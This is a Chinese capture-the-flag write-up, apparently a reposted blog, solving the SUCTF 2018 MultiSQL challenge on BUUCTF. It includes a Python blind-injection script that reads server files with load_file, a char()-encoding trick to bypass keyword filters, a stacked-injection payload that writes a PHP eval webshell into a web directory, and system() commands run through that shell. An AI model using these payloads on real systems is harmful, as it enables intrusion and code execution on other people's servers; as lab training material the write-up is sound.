buuctf-web-[SUCTF 2018]MultiSQL1

打开界面,全部点击一遍,只有注册和登录功能可以使用

注册一个账号,注册admin提示用户存在,可能有二次注入,注册admin'

自动加了一个字符,无法二次注入,点击其他功能点

换浏览器重新登录后,各个功能点无法点击

  • 点击用户信息,当id=2,显示以下界面(将结合下面的文件上传利用)

测试id=1

显示如下界面

  • 点击编辑图片,看到有上传文件点(将结合上面的sql注入利用)

上传一个webshell看看

抓包进行绕过

修改一下后缀名,文件上传成功(虽然在bp绕过,后缀名还是为jpg)

上传点目前没啥用,从注入点进行操作,尝试读文件

import requests
cookies = {
    "PHPSESSID":"jiadkkr16f4o0spgp88tued137"
}
data='0x'
flag=''
r=requests.session()
for i in range(9999):
    for i in range(1,127):
        #print (i)
        url='http://9d09a1ad-3f91-41b5-9e7f-913c17681937.node4.buuoj.cn:81/user/user.php?id=0^(hex(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870))<'+data+str(hex(i)).replace('0x','')+')'
        result=r.get(url=url,cookies=cookies).text
        if 'admin' in result:
            data+=str(hex(i-1)).replace('0x','')
            flag+=(chr(i-1))
            print (flag)
            break
print(data)

可以读/var/www/html/index.php文件,读取/var/www/html/user/user.php文件(这种方法跑十几分钟也跑不出来)

看了大佬的wp,得知在/var/www/html/user/user.php中是用mysqli_multi_query()函数进行sql语句查询

  • mysqli_multi_query() 执行的sql语句,其可以执行一个或多个针对数据库的查询,多个查询用分号进行分隔,也就存在堆叠注入。

已知存在注入点,且/favicon目录存在写权限,利用sql语句对目标目录写木马

存在各种限制,select,union,直接用char绕过(太菜,用其他绕过写马失败)

感觉以上不知道对做题影响不大,知道是堆叠注入和利用sql对目录写文件的思路就可以

原语句为

select ‘<?php eval($_POST[_]);?>’ into outfile ‘/var/www/html/favicon/shell.php’;

通过char及绕过的语句为

脚本如下:

str="select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';"
len_str=len(str)
for i in range(0,len_str):
    if i == 0:
        print('char(%s'%ord(str[i]),end="")
    else:
        print(',%s'%ord(str[i]),end="")
print(')')
?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query;

进行注入,页面显示webshell执行,对_参数进行传参

payload为

_=system('cd /;ls');

看到一个文件为WelL_Th1s_14_fl4g,去读取这个文件

payload为

_=system('cd /;cat WelL_Th1s_14_fl4g ');

得到flag

flag{1cc63c44-f1b0-40c0-a64e-fdc8bfe4f503}删删改改四五回,哥们只是想混个勋章,太折磨人了,看到我文章有罗里吧嗦的地方见谅,我其他文章都是以精简为主,不在乎文章分数,为了这个勋章,我只好车轱辘话转来转去(这一段就是这个作用)

终于70分了,拿个女神勋章真难啊

猜你喜欢

转载自blog.csdn.net/qq_29977871/article/details/129467710